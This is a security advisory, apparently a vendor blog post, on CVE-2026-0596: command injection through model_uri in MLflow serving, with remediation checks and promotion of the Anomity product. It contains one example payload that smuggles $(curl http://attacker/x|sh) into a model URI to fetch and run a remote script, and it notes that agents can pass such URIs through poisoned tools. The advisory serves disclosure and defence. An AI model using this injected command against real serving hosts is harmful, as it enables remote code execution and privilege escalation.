Now in early access, book a 30-minute demo →
← Back to blog AdvisoryCritical

MLflow command injection in model serving - CVE-2026-0596

Self-hosted AI & Inference·Critical·CVE-2026-0596·
Affected MLflow < 3.9.0 (model serving with enable_mlserver=True); fixed in 3.9.0

CVE-2026-0596 is a Critical MLflow command injection in the model serving path, letting an attacker who controls the model URI run arbitrary OS commands on a self-hosted inference host. Tracked as GHSA-rvhj-8chj-8v3c and classified as CWE-78 (OS command injection), it affects MLflow before version 3.9.0 and is fixed in 3.9.0. When MLflow serves a model with enable_mlserver=True, the model_uri parameter is placed directly into a shell command run through bash -c without proper sanitization. This advisory covers what the bug exposes, why a self-hosted serving process is an agentic-endpoint problem, and how Anomity surfaces and governs the agents that drive it.

What happened

MLflow is the model registry and serving layer that many AI teams run to package, track, and deploy models. Its serving path can hand inference off to MLServer when a model is served with enable_mlserver=True. To launch that server, MLflow builds a shell command and executes it via bash -c.

In the affected versions, the user-supplied model_uri is embedded directly into that shell command without proper sanitization. An attacker who controls the model URI can insert shell metacharacters such as $() or backticks, and the shell expands them as command substitution before the serving process starts. A crafted URI turns a model-serving request into arbitrary command execution on the host.

model_uri = "models:/prod-model/1$(curl http://attacker/x|sh)"
# expanded inside bash -c during serving with enable_mlserver=True

The impact follows the privilege of the serving process. It is especially severe where a higher-privileged service serves models from directories that lower-privileged users can write to. A low-privileged user stages a model whose URI carries an injected command, the privileged serving process expands it through bash -c, and the attacker escalates from their own privilege level to the serving process's. On a self-hosted inference host that can mean full host compromise.

DetailValue
IdentifierCVE-2026-0596 (GHSA-rvhj-8chj-8v3c)
TypeOS command injection (CWE-78)
SeverityCritical
VectorUnsanitized model_uri embedded in a bash -c shell command
TriggerModel serving with enable_mlserver=True
AffectedMLflow < 3.9.0 (package: mlflow, pip)
Fixed inMLflow 3.9.0

Why this is an agentic-endpoint risk

A model serving process rarely sits alone. MLflow is the registry and serving layer AI teams run so agents, CLIs, and developer tooling have a place to package and deploy models. On a managed endpoint, the MLflow process is an AI artifact in its own right, and so are the Claude Code sessions, MCP servers, and command-line agents that invoke it. When an agent can launch model serving, it can reach the very path this command injection abuses.

That reachability is the risk. A command injection in a self-hosted serving process is a self-hosted-AI-and-inference problem with clear privilege-escalation potential: an agent or user passing a crafted model_uri, whether by mistake, through a poisoned tool definition, or as a deliberate attack, can steer bash -c into running attacker commands. Network and EDR controls see the resulting process, but cannot tell you which agents on which endpoints run an affected MLflow build, or whether any were allowed to serve a model from an untrusted URI.

This is the same artifact-layer blind spot we track across the self-hosted cluster, including the sibling cases in MLflow AI Gateway secrets exfiltration - CVE-2026-4035, Langflow shareable playground RCE - CVE-2026-48519, Flowise Airtable agent code injection - CVE-2026-41265, and Gradio proxy URL SSRF - CVE-2026-28416. It rhymes with deserialization flaws such as LightLLM pickle deserialization RCE - CVE-2026-26220 that also turn a self-hosted AI service into code execution. The serving process is one node in a graph of AI artifacts, and you can't govern what you can't see. Fleet-wide inventory of every AI artifact is the precondition for scoping a command injection like this one.

How Anomity surfaces and governs it

Anomity inventories eight AI artifact types on every managed endpoint: AI agents, MCP servers, extensions, skills, plugins, secrets, hooks, and CLIs. For CVE-2026-0596 that means the MLflow process and its version are catalogued alongside the agents and CLIs that invoke it, so you can answer "which endpoints run an affected MLflow build, and what launches serving on them" from the fleet inventory instead of guessing, and confirm that patched hosts have moved to 3.9.0 or later.

On agents that expose a hook, such as Claude Code PreToolUse, Anomity returns allow, deny, or log on each tool call before it runs. That is the enforcement point in runtime governance: a tool call that would launch model serving with an untrusted model_uri can be denied or logged in line rather than discovered after bash -c has already run the injected command. Anomity collects metadata only and redacts secrets on the endpoint, so credentials the serving host holds never pass through Anomity.

Every decision is written to a queryable 90-day audit trail. After a disclosure like this, that trail is what lets responders scope the event: which agents invoked serving, when, and what model URI each call named. Anomity routes those decisions to SIEM, Slack, email, or Jira so the right team sees them in the tool they already use. The result is the timeline and the enforcement record described under outcomes.

Anomity complements your existing Network, EDR, DLP, and GRC controls rather than replacing them. It adds the agentic-endpoint layer those tools cannot see. See how it works and how Anomity compares for where it fits.

What to check across your fleet

  • Identify every host and service running the mlflow package and record the exact version; treat anything below 3.9.0 as affected and upgrade to 3.9.0 or later.
  • Find where model serving is invoked with enable_mlserver=True and trace where the model_uri is sourced from on each of those paths.
  • Treat any model_uri drawn from user-writable directories or untrusted input as an injection vector until the affected code is patched.
  • Check whether the serving process runs at higher privilege than the users who can supply or stage models, which is the privilege-escalation condition.
  • Restrict who can register models and invoke serving so an attacker cannot introduce a crafted model URI in the first place.
  • Review process and shell-execution logs on serving hosts for bash -c invocations carrying $() or backtick metacharacters in a model URI.
  • Enumerate which AI agents, CLIs, and MCP servers can launch MLflow model serving, using a fleet-wide AI artifact inventory.
  • Confirm hook-based allow/deny/log enforcement is active on agents that drive MLflow, so a serving call with an untrusted model_uri can be blocked before it runs.

CVE-2026-0596 turns one crafted model URI into arbitrary command execution and privilege escalation on a self-hosted inference host, which is exactly why the AI artifact layer needs its own inventory and enforcement. For the full cluster context, see the pillar on securing self-hosted AI and inference, and the related guides on securing LLM gateways and proxies and MCP server security. To see Anomity inventory your agents, govern tool calls at the hook, and keep a 90-day audit trail, request early access.

Frequently asked questions

What is CVE-2026-0596 in MLflow?

CVE-2026-0596, tracked as GHSA-rvhj-8chj-8v3c, is a Critical OS command injection (CWE-78) in MLflow model serving. When MLflow serves a model with enable_mlserver=True, the model_uri parameter is embedded directly into a shell command run via bash -c without proper sanitization. An attacker who controls the model URI can insert shell metacharacters such as $() or backticks to achieve command substitution and arbitrary command execution on the serving host. The flaw affects MLflow before 3.9.0 and is fixed in 3.9.0, so the primary action is to upgrade the mlflow package to 3.9.0 or later and confirm no self-hosted serving process still runs an affected build.

How severe is the MLflow command injection, and can it lead to privilege escalation?

It is rated Critical. Because the injected commands run as the MLflow serving process, an attacker gains code execution with that process's privileges on a self-hosted inference host. It is especially severe where a higher-privileged service serves models from directories that lower-privileged users can write to: a low-privileged user plants a malicious model URI, the privileged serving process expands it through bash -c, and the attacker escalates to the higher privilege level. Treat any endpoint running an affected MLflow serving process as a candidate for full host compromise until it is patched.

How do I check whether my MLflow deployment is exposed?

Inventory every host and service running the mlflow package and record the exact version; anything below 3.9.0 is affected. Then find where model serving is invoked with enable_mlserver=True and where the model_uri is sourced from, since a URI drawn from user-writable directories or untrusted input is the exploit path. Check whether the serving process runs at higher privilege than the users who can supply or stage models. Anomity helps here by inventorying the AI artifacts and CLIs on each endpoint that drive MLflow, so you can answer which endpoints run an affected build across the fleet rather than checking hosts one at a time.

How does Anomity reduce exposure to a self-hosted serving flaw like this?

Anomity treats a self-hosted serving process as an AI artifact on the endpoint, so it inventories MLflow, its version, and the agents and CLIs that invoke it. On agents that expose a hook, such as Claude Code PreToolUse, Anomity returns allow, deny, or log on each tool call before it runs, so a call that would launch model serving with an untrusted model_uri can be denied or logged in line. Every decision lands in a queryable 90-day audit trail and routes to SIEM, Slack, email, or Jira, giving responders the timeline they need to scope a command-injection event across the fleet.

Ask AI about Anomity
ChatGPT Claude Perplexity Google AI Grok